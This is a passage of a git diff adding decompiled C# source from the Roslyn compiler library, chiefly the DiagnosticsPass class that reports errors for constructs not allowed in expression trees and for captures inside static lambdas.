//IL_0023: Invalid comparison between Unknown and I4 + if (CollectionsExtensions.IsNullOrEmpty(useSiteDiagnostics)) + { + return false; + } + bool result = false; + foreach (DiagnosticInfo useSiteDiagnostic in useSiteDiagnostics) + { + if ((int)useSiteDiagnostic.Severity == 3) + { + result = true; + } + diagnostics.Add((Diagnostic)(object)new CSDiagnostic(useSiteDiagnostic, location)); + } + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticInfoWithSymbols.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticInfoWithSymbols.cs new file mode 100644 index 0000000..92078fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticInfoWithSymbols.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class DiagnosticInfoWithSymbols : DiagnosticInfo +{ + internal readonly ImmutableArray Symbols; + + internal DiagnosticInfoWithSymbols(ErrorCode errorCode, object[] arguments, ImmutableArray symbols) + : base((CommonMessageProvider)(object)MessageProvider.Instance, (int)errorCode, arguments) + { + Symbols = symbols; + } + + internal DiagnosticInfoWithSymbols(bool isWarningAsError, ErrorCode errorCode, object[] arguments, ImmutableArray symbols) + : base((CommonMessageProvider)(object)MessageProvider.Instance, isWarningAsError, (int)errorCode, arguments) + { + Symbols = symbols; + } + + protected DiagnosticInfoWithSymbols(DiagnosticInfoWithSymbols original, DiagnosticSeverity severity) + : base((DiagnosticInfo)(object)original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + Symbols = original.Symbols; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new DiagnosticInfoWithSymbols(this, severity); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticsPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticsPass.cs new file mode 100644 index 0000000..33edcc4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DiagnosticsPass.cs @@ -0,0 +1,1609 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DiagnosticsPass : BoundTreeWalkerWithStackGuard +{ + private readonly BindingDiagnosticBag _diagnostics; + + private readonly CSharpCompilation _compilation; + + private bool _inExpressionLambda; + + private bool _reportedUnsafe; + + private readonly MethodSymbol _containingSymbol; + + private SourceMethodSymbol _staticLocalOrAnonymousFunction; + + public static void IssueDiagnostics(CSharpCompilation compilation, BoundNode node, BindingDiagnosticBag diagnostics, MethodSymbol containingSymbol) + { + ExecutableCodeBinder.ValidateIteratorMethod(compilation, containingSymbol, diagnostics); + try + { + new DiagnosticsPass(compilation, diagnostics, containingSymbol).Visit(node); + } + catch (CancelledByStackGuardException ex) + { + ex.AddAnError(diagnostics); + } + } + + private DiagnosticsPass(CSharpCompilation compilation, BindingDiagnosticBag diagnostics, MethodSymbol containingSymbol) + { + _compilation = compilation; + _diagnostics = diagnostics; + _containingSymbol = containingSymbol; + } + + private void Error(ErrorCode code, BoundNode node, params object[] args) + { + _diagnostics.Add(code, node.Syntax.Location, args); + } + + private void CheckUnsafeType(BoundExpression e) + { + if (e != null && (object)e.Type != null && e.Type.IsPointerOrFunctionPointer()) + { + NoteUnsafe(e); + } + } + + private void NoteUnsafe(BoundNode node) + { + if (_inExpressionLambda && !_reportedUnsafe) + { + Error(ErrorCode.ERR_ExpressionTreeContainsPointerOp, node); + _reportedUnsafe = true; + } + } + + public override BoundNode VisitArrayCreation(BoundArrayCreation node) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)node.Type; + if (_inExpressionLambda && node.InitializerOpt != null && !arrayTypeSymbol.IsSZArray) + { + Error(ErrorCode.ERR_ExpressionTreeContainsMultiDimensionalArrayInitializer, node); + } + return base.VisitArrayCreation(node); + } + + public override BoundNode VisitArrayAccess(BoundArrayAccess node) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (_inExpressionLambda && node.Indices.Length == 1 && (int)node.Indices[0].Type.SpecialType == 0) + { + Error(ErrorCode.ERR_ExpressionTreeContainsPatternImplicitIndexer, node); + } + return base.VisitArrayAccess(node); + } + + public override BoundNode VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsPatternImplicitIndexer, node); + } + return base.VisitImplicitIndexerAccess(node); + } + + public override BoundNode VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsInlineArrayOperation, node); + } + return base.VisitInlineArrayAccess(node); + } + + public override BoundNode VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsFromEndIndexExpression, node); + } + return base.VisitFromEndIndexExpression(node); + } + + public override BoundNode VisitRangeExpression(BoundRangeExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsRangeExpression, node); + } + return base.VisitRangeExpression(node); + } + + public override BoundNode VisitSizeOfOperator(BoundSizeOfOperator node) + { + if (_inExpressionLambda && node.ConstantValueOpt == (ConstantValue)null) + { + Error(ErrorCode.ERR_ExpressionTreeContainsPointerOp, node); + } + return base.VisitSizeOfOperator(node); + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + ExecutableCodeBinder.ValidateIteratorMethod(_compilation, node.Symbol, _diagnostics); + SourceMethodSymbol staticLocalOrAnonymousFunction = _staticLocalOrAnonymousFunction; + if (node.Symbol.IsStatic) + { + _staticLocalOrAnonymousFunction = node.Symbol; + } + BoundNode? result = base.VisitLocalFunctionStatement(node); + _staticLocalOrAnonymousFunction = staticLocalOrAnonymousFunction; + return result; + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + CheckReferenceToThisOrBase(node); + return base.VisitThisReference(node); + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsBaseAccess, node); + } + CheckReferenceToThisOrBase(node); + return base.VisitBaseReference(node); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + CheckReferenceToVariable(node, node.LocalSymbol); + return base.VisitLocal(node); + } + + public override BoundNode VisitParameter(BoundParameter node) + { + CheckReferenceToVariable(node, node.ParameterSymbol); + return base.VisitParameter(node); + } + + private void CheckReferenceToThisOrBase(BoundExpression node) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + if ((object)_staticLocalOrAnonymousFunction != null) + { + ErrorCode code = (((int)_staticLocalOrAnonymousFunction.MethodKind == 17) ? ErrorCode.ERR_StaticLocalFunctionCannotCaptureThis : ErrorCode.ERR_StaticAnonymousFunctionCannotCaptureThis); + Error(code, node); + } + } + + private void CheckReferenceToVariable(BoundExpression node, Symbol symbol) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + if ((object)_staticLocalOrAnonymousFunction != null && Symbol.IsCaptured(symbol, _staticLocalOrAnonymousFunction)) + { + ErrorCode code = (((int)_staticLocalOrAnonymousFunction.MethodKind == 17) ? ErrorCode.ERR_StaticLocalFunctionCannotCaptureVariable : ErrorCode.ERR_StaticAnonymousFunctionCannotCaptureVariable); + Error(code, node, (object)new FormattedSymbol((ISymbolInternal)(object)symbol, SymbolDisplayFormat.ShortFormat)); + } + } + + private void CheckReferenceToMethodIfLocalFunction(BoundExpression node, MethodSymbol method) + { + if (method?.OriginalDefinition is LocalFunctionSymbol symbol) + { + CheckReferenceToVariable(node, symbol); + } + } + + public override BoundNode VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsSwitchExpression, node); + } + return base.VisitConvertedSwitchExpression(node); + } + + public override BoundNode VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + if (!node.HasAnyErrors) + { + CheckForDeconstructionAssignmentToSelf(node.Left, node.Right); + } + return base.VisitDeconstructionAssignmentOperator(node); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + CheckForAssignmentToSelf(node); + if (_inExpressionLambda && node.Left.Kind != BoundKind.ObjectInitializerMember && node.Left.Kind != BoundKind.DynamicObjectInitializerMember) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAssignment, node); + } + return base.VisitAssignmentOperator(node); + } + + public override BoundNode VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + return base.VisitDynamicObjectInitializerMember(node); + } + + public override BoundNode VisitEventAccess(BoundEventAccess node) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + if (node.IsUsableAsField) + { + bool hasBaseReceiver = node.ReceiverOpt != null && node.ReceiverOpt.Kind == BoundKind.BaseReference; + Binder.ReportDiagnosticsIfObsolete(_diagnostics, node.EventSymbol.AssociatedField, SyntaxNodeOrToken.op_Implicit(node.Syntax), hasBaseReceiver, _containingSymbol, _containingSymbol.ContainingType, BinderFlags.None); + } + CheckReceiverIfField(node.ReceiverOpt); + return base.VisitEventAccess(node); + } + + public override BoundNode VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAssignment, node); + } + bool hasBaseReceiver = node.ReceiverOpt != null && node.ReceiverOpt.Kind == BoundKind.BaseReference; + Binder.ReportDiagnosticsIfObsolete(_diagnostics, node.Event, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)((AssignmentExpressionSyntax)(object)node.Syntax).Left), hasBaseReceiver, _containingSymbol, _containingSymbol.ContainingType, BinderFlags.None); + CheckReceiverIfField(node.ReceiverOpt); + return base.VisitEventAssignmentOperator(node); + } + + public override BoundNode VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + CheckCompoundAssignmentOperator(node); + return base.VisitCompoundAssignmentOperator(node); + } + + private void VisitCall(MethodSymbol method, PropertySymbol propertyAccess, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, ImmutableArray argumentNamesOpt, BitVector defaultArguments, BoundNode node) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Invalid comparison between Unknown and I4 + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + CheckArguments(argumentRefKindsOpt, arguments, method); + if (_inExpressionLambda) + { + if (method.CallsAreOmitted(node.SyntaxTree)) + { + Error(ErrorCode.ERR_PartialMethodInExpressionTree, node); + } + else if ((object)propertyAccess != null && propertyAccess.IsIndexedProperty() && !propertyAccess.IsIndexer) + { + Error(ErrorCode.ERR_ExpressionTreeContainsIndexedProperty, node); + } + else if (hasDefaultArgument(arguments, defaultArguments)) + { + Error(ErrorCode.ERR_ExpressionTreeContainsOptionalArgument, node); + } + else if (!argumentNamesOpt.IsDefaultOrEmpty) + { + Error(ErrorCode.ERR_ExpressionTreeContainsNamedArgument, node); + } + else if (IsComCallWithRefOmitted(method, arguments, argumentRefKindsOpt)) + { + Error(ErrorCode.ERR_ComRefCallInExpressionTree, node); + } + else if ((int)method.MethodKind == 17) + { + Error(ErrorCode.ERR_ExpressionTreeContainsLocalFunction, node); + } + else if ((int)method.RefKind != 0) + { + Error(ErrorCode.ERR_RefReturningCallInExpressionTree, node); + } + else if ((method.IsAbstract || method.IsVirtual) && method.IsStatic) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + } + static bool hasDefaultArgument(ImmutableArray immutableArray, BitVector val) + { + for (int i = 0; i < immutableArray.Length; i++) + { + if (((BitVector)(ref val))[i]) + { + return true; + } + } + return false; + } + } + + public override BoundNode Visit(BoundNode node) + { + if (_inExpressionLambda && !(node is BoundConversion) && node is BoundExpression boundExpression) + { + TypeSymbol type = boundExpression.Type; + if ((object)type != null && type.IsRestrictedType()) + { + Error(ErrorCode.ERR_ExpressionTreeCantContainRefStruct, node, type.Name); + } + } + return base.Visit(node); + } + + public override BoundNode VisitRefTypeOperator(BoundRefTypeOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_FeatureNotValidInExpressionTree, node, "__reftype"); + } + return base.VisitRefTypeOperator(node); + } + + public override BoundNode VisitRefValueOperator(BoundRefValueOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_FeatureNotValidInExpressionTree, node, "__refvalue"); + } + return base.VisitRefValueOperator(node); + } + + public override BoundNode VisitMakeRefOperator(BoundMakeRefOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_FeatureNotValidInExpressionTree, node, "__makeref"); + } + return base.VisitMakeRefOperator(node); + } + + public override BoundNode VisitArgListOperator(BoundArgListOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_VarArgsInExpressionTree, node); + } + return base.VisitArgListOperator(node); + } + + public override BoundNode VisitConditionalAccess(BoundConditionalAccess node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_NullPropagatingOpInExpressionTree, node); + } + return base.VisitConditionalAccess(node); + } + + public override BoundNode VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + if (_inExpressionLambda && !node.Arguments.IsDefaultOrEmpty) + { + Error(ErrorCode.ERR_DictionaryInitializerInExpressionTree, node); + } + if (node.MemberSymbol is PropertySymbol property) + { + CheckRefReturningPropertyAccess(node, property); + } + return base.VisitObjectInitializerMember(node); + } + + public override BoundNode VisitCall(BoundCall node) + { + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + if (node.ReceiverOpt is BoundCall boundCall) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = boundCall; + while (node.ReceiverOpt is BoundCall boundCall2) + { + ArrayBuilderExtensions.Push(instance, node); + node = boundCall2; + } + CheckReceiverIfField(node.ReceiverOpt); + Visit(node.ReceiverOpt); + do + { + VisitCall(node.Method, null, node.Arguments, node.ArgumentRefKindsOpt, node.ArgumentNamesOpt, node.DefaultArguments, node); + CheckReferenceToMethodIfLocalFunction(node, node.Method); + VisitList(node.Arguments); + } + while (ArrayBuilderExtensions.TryPop(instance, ref node)); + instance.Free(); + } + else + { + VisitCall(node.Method, null, node.Arguments, node.ArgumentRefKindsOpt, node.ArgumentNamesOpt, node.DefaultArguments, node); + CheckReceiverIfField(node.ReceiverOpt); + CheckReferenceToMethodIfLocalFunction(node, node.Method); + Visit(node.ReceiverOpt); + VisitList(node.Arguments); + } + return null; + } + + private void CheckOutDeclaration(BoundLocal local) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsOutVariable, local); + } + } + + private void CheckDiscard(BoundDiscardExpression argument) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDiscard, argument); + } + } + + public override BoundNode VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + if (_inExpressionLambda && node.AddMethod.IsStatic) + { + Error(ErrorCode.ERR_ExtensionCollectionElementInitializerInExpressionTree, node); + } + VisitCall(node.AddMethod, null, node.Arguments, default(ImmutableArray), default(ImmutableArray), node.DefaultArguments, node); + return base.VisitCollectionElementInitializer(node); + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + VisitCall(node.Constructor, null, node.Arguments, node.ArgumentRefKindsOpt, node.ArgumentNamesOpt, node.DefaultArguments, node); + return base.VisitObjectCreationExpression(node); + } + + public override BoundNode VisitIndexerAccess(BoundIndexerAccess node) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol indexer = node.Indexer; + MethodSymbol methodSymbol = indexer.GetOwnOrInheritedGetMethod() ?? indexer.GetOwnOrInheritedSetMethod(); + if ((object)methodSymbol != null) + { + VisitCall(methodSymbol, indexer, node.Arguments, node.ArgumentRefKindsOpt, node.ArgumentNamesOpt, node.DefaultArguments, node); + } + CheckReceiverIfField(node.ReceiverOpt); + return base.VisitIndexerAccess(node); + } + + private void CheckRefReturningPropertyAccess(BoundNode node, PropertySymbol property) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (_inExpressionLambda && (int)property.RefKind != 0) + { + Error(ErrorCode.ERR_RefReturningCallInExpressionTree, node); + } + } + + public override BoundNode VisitPropertyAccess(BoundPropertyAccess node) + { + PropertySymbol propertySymbol = node.PropertySymbol; + CheckRefReturningPropertyAccess(node, propertySymbol); + CheckReceiverIfField(node.ReceiverOpt); + if (_inExpressionLambda && (propertySymbol.IsAbstract || propertySymbol.IsVirtual) && propertySymbol.IsStatic) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + return base.VisitPropertyAccess(node); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_01ce: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + if (_inExpressionLambda) + { + LambdaSymbol symbol = node.Symbol; + bool flag = false; + if (!symbol.GetAttributes().IsEmpty || !symbol.GetReturnTypeAttributes().IsEmpty) + { + Error(ErrorCode.ERR_LambdaWithAttributesToExpressionTree, node); + flag = true; + } + ImmutableArray.Enumerator enumerator = symbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind != 0) + { + Location val = current.TryGetFirstLocation(); + if (val != null) + { + _diagnostics.Add(ErrorCode.ERR_ByRefParameterInExpressionTree, val); + } + } + if (current.TypeWithAnnotations.IsRestrictedType()) + { + _diagnostics.Add(ErrorCode.ERR_ExpressionTreeCantContainRefStruct, current.GetFirstLocation(), current.Type.Name); + } + if (!flag && !current.GetAttributes().IsEmpty) + { + _diagnostics.Add(ErrorCode.ERR_LambdaWithAttributesToExpressionTree, current.GetFirstLocation()); + flag = true; + } + } + switch (node.Syntax.Kind()) + { + case SyntaxKind.ParenthesizedLambdaExpression: + { + ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax = (ParenthesizedLambdaExpressionSyntax)(object)node.Syntax; + if (parenthesizedLambdaExpressionSyntax.AsyncKeyword.Kind() == SyntaxKind.AsyncKeyword) + { + Error(ErrorCode.ERR_BadAsyncExpressionTree, node); + } + else if (parenthesizedLambdaExpressionSyntax.Body.Kind() == SyntaxKind.Block) + { + Error(ErrorCode.ERR_StatementLambdaToExpressionTree, node); + } + else if (parenthesizedLambdaExpressionSyntax.Body.Kind() == SyntaxKind.RefExpression) + { + Error(ErrorCode.ERR_BadRefReturnExpressionTree, node); + } + break; + } + case SyntaxKind.SimpleLambdaExpression: + { + SimpleLambdaExpressionSyntax simpleLambdaExpressionSyntax = (SimpleLambdaExpressionSyntax)(object)node.Syntax; + if (simpleLambdaExpressionSyntax.AsyncKeyword.Kind() == SyntaxKind.AsyncKeyword) + { + Error(ErrorCode.ERR_BadAsyncExpressionTree, node); + } + else if (simpleLambdaExpressionSyntax.Body.Kind() == SyntaxKind.Block) + { + Error(ErrorCode.ERR_StatementLambdaToExpressionTree, node); + } + else if (simpleLambdaExpressionSyntax.Body.Kind() == SyntaxKind.RefExpression) + { + Error(ErrorCode.ERR_BadRefReturnExpressionTree, node); + } + break; + } + case SyntaxKind.AnonymousMethodExpression: + Error(ErrorCode.ERR_ExpressionTreeContainsAnonymousMethod, node); + break; + } + } + SourceMethodSymbol staticLocalOrAnonymousFunction = _staticLocalOrAnonymousFunction; + if (node.Symbol.IsStatic) + { + _staticLocalOrAnonymousFunction = node.Symbol; + } + BoundNode? result = base.VisitLambda(node); + _staticLocalOrAnonymousFunction = staticLocalOrAnonymousFunction; + return result; + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + BoundBinaryOperator boundBinaryOperator = node; + while (true) + { + CheckBinaryOperator(boundBinaryOperator); + Visit(boundBinaryOperator.Right); + if (boundBinaryOperator.Left.Kind != BoundKind.BinaryOperator) + { + break; + } + boundBinaryOperator = (BoundBinaryOperator)boundBinaryOperator.Left; + } + Visit(boundBinaryOperator.Left); + return null; + } + + public override BoundNode VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + CheckLiftedUserDefinedConditionalLogicalOperator(node); + if (_inExpressionLambda) + { + MethodSymbol logicalOperator = node.LogicalOperator; + MethodSymbol methodSymbol = ((node.OperatorKind.Operator() == BinaryOperatorKind.And) ? node.FalseOperator : node.TrueOperator); + if (((logicalOperator.IsAbstract || logicalOperator.IsVirtual) && logicalOperator.IsStatic) || ((methodSymbol.IsAbstract || methodSymbol.IsVirtual) && methodSymbol.IsStatic)) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + } + return base.VisitUserDefinedConditionalLogicalOperator(node); + } + + private void CheckDynamic(BoundUnaryOperator node) + { + if (_inExpressionLambda && node.OperatorKind.IsDynamic()) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + } + + private void CheckDynamic(BoundBinaryOperator node) + { + if (_inExpressionLambda && node.OperatorKind.IsDynamic()) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + } + + public override BoundNode VisitUnaryOperator(BoundUnaryOperator node) + { + CheckUnsafeType(node); + CheckLiftedUnaryOp(node); + CheckDynamic(node); + if (_inExpressionLambda) + { + MethodSymbol methodOpt = node.MethodOpt; + if ((object)methodOpt != null && (methodOpt.IsAbstract || methodOpt.IsVirtual) && methodOpt.IsStatic) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + } + return base.VisitUnaryOperator(node); + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + CheckUnsafeType(node); + BoundExpression operand = node.Operand; + if (operand.Kind == BoundKind.FieldAccess) + { + CheckFieldAddress((BoundFieldAccess)operand, null); + } + return base.VisitAddressOfOperator(node); + } + + public override BoundNode VisitIncrementOperator(BoundIncrementOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAssignment, node); + } + return base.VisitIncrementOperator(node); + } + + public override BoundNode VisitPointerElementAccess(BoundPointerElementAccess node) + { + NoteUnsafe(node); + return base.VisitPointerElementAccess(node); + } + + public override BoundNode VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + NoteUnsafe(node); + return base.VisitPointerIndirectionOperator(node); + } + + public override BoundNode VisitConversion(BoundConversion node) + { + CheckUnsafeType(node.Operand); + CheckUnsafeType(node); + bool inExpressionLambda = _inExpressionLambda; + bool reportedUnsafe = _reportedUnsafe; + switch (node.ConversionKind) + { + case ConversionKind.MethodGroup: + CheckMethodGroup((BoundMethodGroup)node.Operand, node.Conversion.Method, node.IsExtensionMethod, parentIsConversion: true, node.Type); + return node; + case ConversionKind.AnonymousFunction: + if (!inExpressionLambda && node.Type.IsExpressionTree()) + { + _inExpressionLambda = true; + _reportedUnsafe = false; + } + break; + case ConversionKind.ImplicitDynamic: + case ConversionKind.ExplicitDynamic: + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + break; + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ExplicitTupleLiteral: + case ConversionKind.ExplicitTuple: + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsTupleConversion, node); + } + break; + case ConversionKind.InlineArray: + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsInlineArrayOperation, node); + } + break; + case ConversionKind.InterpolatedStringHandler: + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsInterpolatedStringHandlerConversion, node); + } + break; + default: + if (_inExpressionLambda) + { + MethodSymbol method = node.Conversion.Method; + if ((object)method != null && (method.IsAbstract || method.IsVirtual) && method.IsStatic) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + } + break; + } + BoundNode? result = base.VisitConversion(node); + _inExpressionLambda = inExpressionLambda; + _reportedUnsafe = reportedUnsafe; + return result; + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + if (node.Argument.Kind != BoundKind.MethodGroup) + { + Visit(node.Argument); + } + else + { + CheckMethodGroup((BoundMethodGroup)node.Argument, node.MethodOpt, node.IsExtensionMethod, parentIsConversion: true, node.Type); + } + return null; + } + + public override BoundNode VisitMethodGroup(BoundMethodGroup node) + { + CheckMethodGroup(node, null, isExtensionMethod: false, parentIsConversion: false, null); + return null; + } + + private void CheckMethodGroup(BoundMethodGroup node, MethodSymbol method, bool isExtensionMethod, bool parentIsConversion, TypeSymbol convertedToType) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + if (_inExpressionLambda) + { + MethodSymbol obj = node.LookupSymbolOpt as MethodSymbol; + if ((object)obj != null && (int)obj.MethodKind == 17) + { + Error(ErrorCode.ERR_ExpressionTreeContainsLocalFunction, node); + } + else if (parentIsConversion && convertedToType.IsFunctionPointer()) + { + Error(ErrorCode.ERR_AddressOfMethodGroupInExpressionTree, node); + } + else if ((object)method != null && (method.IsAbstract || method.IsVirtual) && method.IsStatic) + { + Error(ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess, node); + } + } + CheckReceiverIfField(node.ReceiverOpt); + CheckReferenceToMethodIfLocalFunction(node, method); + if ((method?.RequiresInstanceReceiver ?? true) || isExtensionMethod) + { + Visit(node.ReceiverOpt); + } + } + + public override BoundNode VisitNameOfOperator(BoundNameOfOperator node) + { + return node; + } + + public override BoundNode VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + if (_inExpressionLambda && (node.LeftOperand.IsLiteralNull() || node.LeftOperand.IsLiteralDefault())) + { + Error(ErrorCode.ERR_ExpressionTreeContainsBadCoalesce, node.LeftOperand); + } + return base.VisitNullCoalescingOperator(node); + } + + public override BoundNode VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeCantContainNullCoalescingAssignment, node); + } + return base.VisitNullCoalescingAssignmentOperator(node); + } + + public override BoundNode VisitDynamicInvocation(BoundDynamicInvocation node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + if (node.Expression.Kind == BoundKind.MethodGroup) + { + return base.VisitMethodGroup((BoundMethodGroup)node.Expression); + } + } + return base.VisitDynamicInvocation(node); + } + + public override BoundNode VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + CheckReceiverIfField(node.Receiver); + return base.VisitDynamicIndexerAccess(node); + } + + public override BoundNode VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + return base.VisitDynamicMemberAccess(node); + } + + public override BoundNode VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + return base.VisitDynamicCollectionElementInitializer(node); + } + + public override BoundNode VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsDynamicOperation, node); + } + return base.VisitDynamicObjectCreationExpression(node); + } + + public override BoundNode VisitIsPatternExpression(BoundIsPatternExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsIsMatch, node); + } + return base.VisitIsPatternExpression(node); + } + + public override BoundNode VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsTupleLiteral, node); + } + return base.VisitConvertedTupleLiteral(node); + } + + public override BoundNode VisitTupleLiteral(BoundTupleLiteral node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsTupleLiteral, node); + } + return base.VisitTupleLiteral(node); + } + + public override BoundNode VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsTupleBinOp, node); + } + return base.VisitTupleBinaryOperator(node); + } + + public override BoundNode VisitThrowExpression(BoundThrowExpression node) + { + if (_inExpressionLambda) + { + Error(ErrorCode.ERR_ExpressionTreeContainsThrowExpression, node); + } + return 